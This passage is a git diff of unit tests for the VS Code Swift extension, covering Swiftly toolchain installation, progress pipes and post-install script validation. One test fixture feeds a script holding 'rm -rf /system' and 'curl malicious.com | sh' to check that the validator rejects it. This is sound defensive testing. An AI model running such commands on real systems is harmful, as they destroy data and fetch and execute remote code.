undefined); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]); + }); + + test("should attempt to install toolchain with progress callback on macOS", async () => { + mockedPlatform.setValue("darwin"); + const progressCallback = () => {}; + + // Mock version check to return 1.1.0 (supports progress files) + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("mkfifo", match.array) + .resolves({ stdout: "", stderr: "" }); + // Mock swiftly install command - be more specific to avoid catching version check + mockUtilities.execFile + .withArgs("swiftly", match.array.and(match.hasNested("0", "install"))) + .resolves({ + stdout: "", + stderr: "", + }); + os.tmpdir(); + mockFS.restore(); + mockFS({}); + + // This test verifies the method starts the installation process + // The actual file stream handling is complex to mock properly + try { + await Swiftly.installToolchain("6.0.0", progressCallback); + } catch (error) { + // Expected due to mock-fs limitations with named pipes + expect((error as Error).message).to.include("ENOENT"); + } + + // Verify version was checked + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + // Verify mkfifo was called when progress callback is provided and version supports it + expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); + }); + + test("should not create progress pipe when Swiftly version is too old", async () => { + mockedPlatform.setValue("darwin"); + const progressCallback = () => {}; - const result = await Swiftly.isInstalled(); + // Mock version check to return 1.0.0 (does NOT support progress files) + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", match.array.and(match.hasNested("0", "install"))) + .resolves({ + stdout: "", + stderr: "", + }); + + await Swiftly.installToolchain("6.0.0", progressCallback); - expect(result).to.be.true; - expect(mockShell.findBinaryPath).to.have.been.calledWith("swiftly"); + // Verify version was checked + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", ["--version"]); + // Verify mkfifo was NOT called for older versions + expect(mockUtilities.execFile).to.not.have.been.calledWith("mkfifo", match.array); }); - test("should return false when swiftly is not found", async () => { - mockShell.findBinaryPath.withArgs("swiftly").rejects(new Error("not found")); + test("should handle installation error properly", async () => { + mockedPlatform.setValue("darwin"); + const installError = new Error("Installation failed"); + mockUtilities.execFile.withArgs("swiftly").rejects(installError); - const result = await Swiftly.isInstalled(); + const tmpDir = os.tmpdir(); + mockFS.restore(); + mockFS({ + [tmpDir]: {}, + }); - expect(result).to.be.false; - expect(mockShell.findBinaryPath).to.have.been.calledWith("swiftly"); + await expect( + Swiftly.installToolchain("6.0.0", undefined) + ).to.eventually.be.rejectedWith("Installation failed"); }); + }); - test("should return false when platform is not supported", async () => { + suite("listAvailable", () => { + test("should return empty array on unsupported platform", async () => { mockedPlatform.setValue("win32"); - const result = await Swiftly.isInstalled(); + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return empty array when Swiftly is not installed", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile + .withArgs("swiftly", ["--version"]) + .rejects(new Error("Command not found")); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return empty array when Swiftly version doesn't support JSON output", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.0.0\n", + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + + expect(result).to.deep.equal([]); + }); + + test("should return available toolchains with installation status", async () => { + mockedPlatform.setValue("darwin"); + + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + + const availableResponse = { + toolchains: [ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + }, + }, + ], + }; + + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .resolves({ + stdout: JSON.stringify(availableResponse), + stderr: "", + }); + + const installedResponse = { + toolchains: [ + { + inUse: true, + isDefault: true, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + ], + }; + + mockUtilities.execFile.withArgs("swiftly", ["list", "--format=json"]).resolves({ + stdout: JSON.stringify(installedResponse), + stderr: "", + }); + + const result = await Swiftly.listAvailable(); + expect(result).to.deep.equal([ + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "stable", + major: 6, + minor: 0, + patch: 0, + name: "6.0.0", + }, + }, + { + inUse: false, + installed: false, + isDefault: false, + version: { + type: "snapshot", + major: 6, + minor: 1, + branch: "main", + date: "2025-01-15", + name: "main-snapshot-2025-01-15", + }, + }, + ]); + }); + + test("should handle errors when fetching available toolchains", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile + .withArgs("swiftly", ["list-available", "--format=json"]) + .rejects(new Error("Network error")); + const result = await Swiftly.listAvailable(); + expect(result).to.deep.equal([]); + }); + }); + + suite("Post-Install", () => { + setup(() => { + mockedPlatform.setValue("linux"); + }); + + test("should call installToolchain with correct parameters", async () => { + mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); + mockUtilities.execFile + .withArgs("mkfifo", match.array) + .resolves({ stdout: "", stderr: "" }); + + await Swiftly.installToolchain("6.0.0"); + + // Verify swiftly install was called with post-install file argument + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]); + }); + + test("should handle swiftly installation errors", async () => { + const installError = new Error("Swiftly installation failed"); + mockUtilities.execFile.withArgs("swiftly").rejects(installError); + mockUtilities.execFile + .withArgs("mkfifo", match.array) + .resolves({ stdout: "", stderr: "" }); + + await expect(Swiftly.installToolchain("6.0.0")).to.eventually.be.rejectedWith( + "Swiftly installation failed" + ); + }); + + test("should handle mkfifo creation errors", async () => { + // Mock version check to return 1.1.0 (supports progress files) + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + const mkfifoError = new Error("Cannot create named pipe"); + mockUtilities.execFile.withArgs("mkfifo", match.array).rejects(mkfifoError); + + const progressCallback = () => {}; + + await expect( + Swiftly.installToolchain("6.0.0", progressCallback) + ).to.eventually.be.rejectedWith("Cannot create named pipe"); + }); + + test("should install without progress callback successfully", async () => { + mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + // mkfifo should not be called when no progress callback is provided + expect(mockUtilities.execFile).to.not.have.been.calledWith("mkfifo", match.array); + }); + + test("should create progress pipe when progress callback is provided", async () => { + // Mock version check to return 1.1.0 (supports progress files) + mockUtilities.execFile.withArgs("swiftly", ["--version"]).resolves({ + stdout: "1.1.0\n", + stderr: "", + }); + mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); + mockUtilities.execFile + .withArgs("mkfifo", match.array) + .resolves({ stdout: "", stderr: "" }); + + const progressCallback = () => {}; + + try { + await Swiftly.installToolchain("6.0.0", progressCallback); + } catch (error) { + // Expected due to mock-fs limitations with named pipes in this test environment + } + + expect(mockUtilities.execFile).to.have.been.calledWith("mkfifo", match.array); + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + }); + }); + + suite("Post-Install File Handling", () => { + const mockVscodeWindow = mockGlobalObject(vscode, "window"); + + setup(() => { + mockedPlatform.setValue("linux"); + mockVscodeWindow.showWarningMessage.reset(); + mockVscodeWindow.showInformationMessage.reset(); + mockVscodeWindow.showErrorMessage.reset(); + mockVscodeWindow.createOutputChannel.reset(); + + // Mock createOutputChannel to return a basic output channel mock + mockVscodeWindow.createOutputChannel.returns({ + show: () => {}, + appendLine: () => {}, + append: () => {}, + hide: () => {}, + dispose: () => {}, + name: "test-channel", + replace: () => {}, + clear: () => {}, + } as any); + }); + + test("should execute post-install script when user confirms and script is valid", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential +apt-get -y install libncurses5-dev`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, validScript); + return { stdout: "", stderr: "" }; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for pkexec + mockUtilities.execFileStreamOutput.resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "pkexec", + match.array, + match.any, + match.any, + null, + {} + ); + expect(mockVscodeWindow.showInformationMessage).to.have.been.calledWith( + match("Swift 6.0.0 post-install script executed successfully") + ); + }); + + test("should skip post-install execution when user cancels", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, validScript); + return { stdout: "", stderr: "" }; + }); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Cancel"); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.not.have.been.calledWith("chmod", match.array); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match("Swift 6.0.0 installation is incomplete") + ); + }); + + test("should reject invalid post-install script and show error", async () => { + const invalidScript = `#!/bin/bash +rm -rf /system +curl malicious.com | sh +apt-get -y install build-essential`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, invalidScript); + return { stdout: "", stderr: "" }; + }); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match( + "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" + ) + ); + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockUtilities.execFile).to.not.have.been.calledWith("pkexec", match.array); + }); + + test("should handle post-install script execution errors", async () => { + const validScript = `#!/bin/bash +apt-get -y install build-essential`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, validScript); + return { stdout: "", stderr: "" }; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for pkexec to throw error + mockUtilities.execFileStreamOutput.rejects(new Error("Permission denied")); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFile).to.have.been.calledWith("chmod", match.array); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match("Failed to execute post-install script for Swift 6.0.0") + ); + }); + + test("should complete installation successfully when no post-install file exists", async () => { + mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); + + // Test doesn't need mock filesystem, just ensure it's clean + try { + mockFS.restore(); + } catch { + // Ignore if not active + } + + await Swiftly.installToolchain("6.0.0"); + + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockVscodeWindow.showErrorMessage).to.not.have.been.called; + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + }); + + test("should validate yum-based post-install scripts", async () => { + const yumScript = `#!/bin/bash +yum install gcc-c++ +yum install ncurses-devel`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, yumScript); + return { stdout: "", stderr: "" }; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for pkexec + mockUtilities.execFileStreamOutput.resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "pkexec", + match.array, + match.any, + match.any, + null, + {} + ); + }); + + test("should handle malformed package manager commands in post-install script", async () => { + const malformedScript = `#!/bin/bash +apt-get install --unsafe-flag malicious-package +yum remove important-system-package`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, malformedScript); + return { stdout: "", stderr: "" }; + }); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockUtilities.execFile).to.have.been.calledWith("swiftly", match.array); + expect(mockVscodeWindow.showErrorMessage).to.have.been.calledWith( + match( + "Installation of Swift 6.0.0 requires additional system packages, but the post-install script contains commands that are not allowed for security reasons" + ) + ); + }); + + test("should ignore comments and empty lines in post-install script", async () => { + const scriptWithComments = `#!/bin/bash +# This is a comment + +apt-get -y install libncurses5-dev +# Another comment + +`; + + mockUtilities.execFile + .withArgs("swiftly", [ + "install", + "6.0.0", + "--use", + "--assume-yes", + "--post-install-file", + match.string, + ]) + .callsFake(async (_command, args) => { + const postInstallPath = args[5]; + await fs.writeFile(postInstallPath, scriptWithComments); + return { stdout: "", stderr: "" }; + }); + mockUtilities.execFile + .withArgs("chmod", match.array) + .resolves({ stdout: "", stderr: "" }); + + // Mock execFileStreamOutput for pkexec + mockUtilities.execFileStreamOutput.resolves(); + + // @ts-expect-error mocking vscode window methods makes type checking difficult + mockVscodeWindow.showWarningMessage.resolves("Execute Script"); + + await Swiftly.installToolchain("6.0.0"); + + expect(mockVscodeWindow.showWarningMessage).to.have.been.calledWith( + match( + "Swift 6.0.0 installation requires additional system packages to be installed" + ) + ); + expect(mockUtilities.execFileStreamOutput).to.have.been.calledWith( + "pkexec", + match.array, + match.any, + match.any, + null, + {} + ); + }); + + test("should skip post-install handling on macOS", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); + + // Test doesn't need mock filesystem, just ensure it's clean + try { + mockFS.restore(); + } catch { + // Ignore if not active + } + + await Swiftly.installToolchain("6.0.0"); - expect(result).to.be.false; - expect(mockShell.findBinaryPath).not.to.have.been.called; + expect(mockVscodeWindow.showWarningMessage).to.not.have.been.called; + expect(mockUtilities.execFile).to.not.have.been.calledWith("pkexec", match.array); }); }); }); diff --git a/test/unit-tests/ui/ToolchainSelection.test.ts b/test/unit-tests/ui/ToolchainSelection.test.ts new file mode 100644 index 000000000..2ac30090d --- /dev/null +++ b/test/unit-tests/ui/ToolchainSelection.test.ts @@ -0,0 +1,315 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +import { expect } from "chai"; +import * as vscode from "vscode"; +import * as mockFS from "mock-fs"; +import * as sinon from "sinon"; +import { match, stub } from "sinon"; +import { SwiftToolchain } from "../../../src/toolchain/toolchain"; +import { SwiftLogger } from "../../../src/logging/SwiftLogger"; +import { Swiftly } from "../../../src/toolchain/swiftly"; +import { Version } from "../../../src/utilities/version"; +import * as utilities from "../../../src/utilities/utilities"; +import { mockGlobalModule, mockGlobalValue, mockGlobalObject } from "../../MockUtils"; +import * as ToolchainSelectionModule from "../../../src/ui/ToolchainSelection"; + +suite("ToolchainSelection Unit Test Suite", () => { + const mockedUtilities = mockGlobalModule(utilities); + const mockedPlatform = mockGlobalValue(process, "platform"); + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + const mockedVSCodeCommands = mockGlobalObject(vscode, "commands"); + const mockedVSCodeEnv = mockGlobalObject(vscode, "env"); + let mockLogger: SwiftLogger; + + setup(() => { + mockFS({}); + mockedUtilities.execFile.reset(); + mockedPlatform.setValue("darwin"); + + mockLogger = { + info: () => {}, + warn: () => {}, + error: () => {}, + } as unknown as SwiftLogger; + + // Set up VSCode mocks + mockedVSCodeWindow.showQuickPick.resolves(undefined); + mockedVSCodeWindow.showOpenDialog.resolves(undefined); + mockedVSCodeWindow.showErrorMessage.resolves(undefined); + mockedVSCodeWindow.showWarningMessage.resolves(undefined); + mockedVSCodeWindow.showInformationMessage.resolves(undefined); + mockedVSCodeWindow.withProgress.callsFake(async (_options, task) => { + return await task({ report: () => {} }, {} as any); + }); + mockedVSCodeCommands.executeCommand.resolves(undefined); + mockedVSCodeEnv.openExternal.resolves(true); + + // Mock SwiftToolchain static methods + stub(SwiftToolchain, "findXcodeInstalls").resolves([]); + stub(SwiftToolchain, "getToolchainInstalls").resolves([]); + stub(SwiftToolchain, "getXcodeDeveloperDir").resolves(""); + + // Mock Swiftly static methods + stub(Swiftly, "listAvailableToolchains").resolves([]); + stub(Swiftly, "listAvailable").resolves([]); + stub(Swiftly, "inUseVersion").resolves(undefined); + stub(Swiftly, "use").resolves(); + stub(Swiftly, "installToolchain").resolves(); + }); + + teardown(() => { + mockFS.restore(); + sinon.restore(); + }); + + suite("showToolchainSelectionQuickPick", () => { + function createMockActiveToolchain(options: { + swiftVersion: Version; + toolchainPath: string; + swiftFolderPath: string; + isSwiftlyManaged?: boolean; + }): SwiftToolchain { + return { + swiftVersion: options.swiftVersion, + toolchainPath: options.toolchainPath, + swiftFolderPath: options.swiftFolderPath, + isSwiftlyManaged: options.isSwiftlyManaged || false, + } as SwiftToolchain; + } + + test("should show quick pick with toolchain options", async () => { + const xcodeInstalls = ["/Applications/Xcode.app"]; + const toolchainInstalls = [ + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", + ]; + const swiftlyToolchains = ["swift-6.0.0"]; + const availableToolchains = [ + { + name: "6.0.1", + type: "stable" as const, + version: "6.0.1", + isInstalled: false, + }, + ]; + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves(xcodeInstalls); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves(toolchainInstalls); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves(swiftlyToolchains); + (Swiftly.listAvailable as sinon.SinonStub).resolves(availableToolchains); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); + + expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; + expect(SwiftToolchain.findXcodeInstalls).to.have.been.called; + expect(SwiftToolchain.getToolchainInstalls).to.have.been.called; + expect(Swiftly.listAvailableToolchains).to.have.been.called; + }); + + test("should work on Linux platform", async () => { + mockedPlatform.setValue("linux"); + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); + (Swiftly.listAvailable as sinon.SinonStub).resolves([]); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); + + expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; + expect(SwiftToolchain.getToolchainInstalls).to.have.been.called; + expect(Swiftly.listAvailableToolchains).to.have.been.called; + }); + + test("should handle active toolchain correctly", async () => { + const activeToolchain = createMockActiveToolchain({ + swiftVersion: new Version(6, 0, 1), + toolchainPath: "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr", + swiftFolderPath: + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain/usr/bin", + isSwiftlyManaged: false, + }); + + const toolchainInstalls = [ + "/Library/Developer/Toolchains/swift-6.0.1-RELEASE.xctoolchain", + ]; + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves(toolchainInstalls); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); + (Swiftly.listAvailable as sinon.SinonStub).resolves([]); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick( + activeToolchain, + mockLogger + ); + + expect(SwiftToolchain.getToolchainInstalls).to.have.been.called; + }); + + test("should handle Swiftly managed active toolchain", async () => { + const activeToolchain = createMockActiveToolchain({ + swiftVersion: new Version(6, 0, 0), + toolchainPath: "/home/user/.swiftly/toolchains/swift-6.0.0/usr", + swiftFolderPath: "/home/user/.swiftly/toolchains/swift-6.0.0/usr/bin", + isSwiftlyManaged: true, + }); + + const swiftlyToolchains = ["6.0.0", "6.1.0"]; + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves(swiftlyToolchains); + (Swiftly.listAvailable as sinon.SinonStub).resolves([]); + (Swiftly.inUseVersion as sinon.SinonStub).resolves("6.0.0"); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick( + activeToolchain, + mockLogger + ); + + expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; + }); + + test("should handle toolchain installation selection", async () => { + const installableToolchain = { + type: "toolchain", + category: "installable", + label: "$(cloud-download) 6.0.1 (stable)", + version: "6.0.1", + toolchainType: "stable", + onDidSelect: stub().resolves(), + }; + + mockedVSCodeWindow.showQuickPick.resolves(installableToolchain as any); + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); + (Swiftly.listAvailable as sinon.SinonStub).resolves([ + { + name: "6.0.1", + type: "stable" as const, + version: "6.0.1", + isInstalled: false, + }, + ]); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); + + expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; + }); + + test("should handle action item selection", async () => { + const actionItem = { + type: "action", + label: "$(cloud-download) Download from Swift.org...", + run: stub().resolves(), + }; + + mockedVSCodeWindow.showQuickPick.resolves(actionItem as any); + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); + (Swiftly.listAvailable as sinon.SinonStub).resolves([]); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); + + expect(actionItem.run).to.have.been.called; + }); + + test("should handle user cancellation", async () => { + mockedVSCodeWindow.showQuickPick.resolves(undefined); + + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).resolves([]); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).resolves([]); + (Swiftly.listAvailableToolchains as sinon.SinonStub).resolves([]); + (Swiftly.listAvailable as sinon.SinonStub).resolves([]); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); + + // Should complete without error when user cancels + expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; + }); + + test("should handle errors gracefully", async () => { + (SwiftToolchain.findXcodeInstalls as sinon.SinonStub).rejects( + new Error("Xcode search failed") + ); + (SwiftToolchain.getToolchainInstalls as sinon.SinonStub).rejects( + new Error("Toolchain search failed") + ); + (Swiftly.listAvailableToolchains as sinon.SinonStub).rejects( + new Error("Swiftly list failed") + ); + (Swiftly.listAvailable as sinon.SinonStub).rejects( + new Error("Swiftly available failed") + ); + + await ToolchainSelectionModule.showToolchainSelectionQuickPick(undefined, mockLogger); + + expect(mockedVSCodeWindow.showQuickPick).to.have.been.called; + }); + }); + + suite("downloadToolchain", () => { + test("should open external URL for Swift.org", async () => { + mockedVSCodeEnv.openExternal.resolves(true); + + await ToolchainSelectionModule.downloadToolchain(); + + expect(mockedVSCodeEnv.openExternal).to.have.been.calledWith( + match((uri: vscode.Uri) => uri.toString() === "https://www.swift.org/install") + ); + }); + }); + + suite("installSwiftly", () => { + test("should open external URL for Swiftly installation", async () => { + mockedVSCodeEnv.openExternal.resolves(true); + + await ToolchainSelectionModule.installSwiftly(); + + expect(mockedVSCodeEnv.openExternal).to.have.been.calledWith( + match((uri: vscode.Uri) => uri.toString() === "https://www.swift.org/install/") + ); + }); + }); + + suite("selectToolchainFolder", () => { + test("should show open dialog for folder selection", async () => { + const selectedFolder = [{ fsPath: "/custom/toolchain/path" }] as vscode.Uri[]; + mockedVSCodeWindow.showOpenDialog.resolves(selectedFolder); + + await ToolchainSelectionModule.selectToolchainFolder(); + + expect(mockedVSCodeWindow.showOpenDialog).to.have.been.calledWith({ + canSelectFiles: false, + canSelectFolders: true, + canSelectMany: false, + title: "Select the folder containing Swift binaries", + openLabel: "Select folder", + }); + }); + + test("should handle user cancellation", async () => { + mockedVSCodeWindow.showOpenDialog.resolves(undefined); + + await ToolchainSelectionModule.selectToolchainFolder(); + + expect(mockedVSCodeWindow.showOpenDialog).to.have.been.called; + }); + }); +}); diff --git a/userdocs/userdocs.docc/Articles/Reference/commands.md b/userdocs/userdocs.docc/Articles/Reference/commands.md index 7dc9c0d53..19a857a52 100644 --- a/userdocs/userdocs.docc/Articles/Reference/commands.md +++ b/userdocs/userdocs.docc/Articles/Reference/commands.md @@ -10,6 +10,8 @@ The Swift extension adds the following commands, each prefixed with `"Swift: "` - **`Create New Project...`** - Create a new Swift project using a template. This opens a dialog to guide you through creating a new project structure. - **`Create New Swift File...`** - Create a new `.swift` file in the current workspace. - **`Select Toolchain...`** - Select the locally installed Swift toolchain (including Xcode toolchains on macOS) that you want to use Swift tools from. +- **`Install Swiftly Toolchain...`** - Install a Swift toolchain using Swiftly. Shows a list of available stable Swift releases that can be downloaded and installed. Requires Swiftly to be installed first. +- **`Install Swiftly Snapshot Toolchain...`** - Install a Swift snapshot toolchain using Swiftly. Shows a list of available development snapshots that can be downloaded and installed. Requires Swiftly to be installed first. - **`Generate SourceKit-LSP Configuration`** - Generate the `.sourcekit-lsp/config.json` file for the selected project(s). The generated configuration file will be pre-populated with the JSON schema for the version of the Swift toolchain that is being used. Use the `swift.sourcekit-lsp.configurationBranch` setting to pin the SourceKit-LSP branch that the schema comes from. The following command is only available on macOS: @@ -58,4 +60,4 @@ The following command is only available on macOS: - **`Restart LSP Server`** - Restart the Swift Language Server Protocol (LSP) server for the current workspace. - **`Re-Index Project`** - Force a re-index of the project to refresh code completion and symbol navigation support. -> 💡 Tip: Commands can be accessed from the VS Code command palette which is common to all VS Code extensions. See the [VS Code documentation about the command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) for a more in-depth overview. \ No newline at end of file +> 💡 Tip: Commands can be accessed from the VS Code command palette which is common to all VS Code extensions. See the [VS Code documentation about the command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) for a more in-depth overview.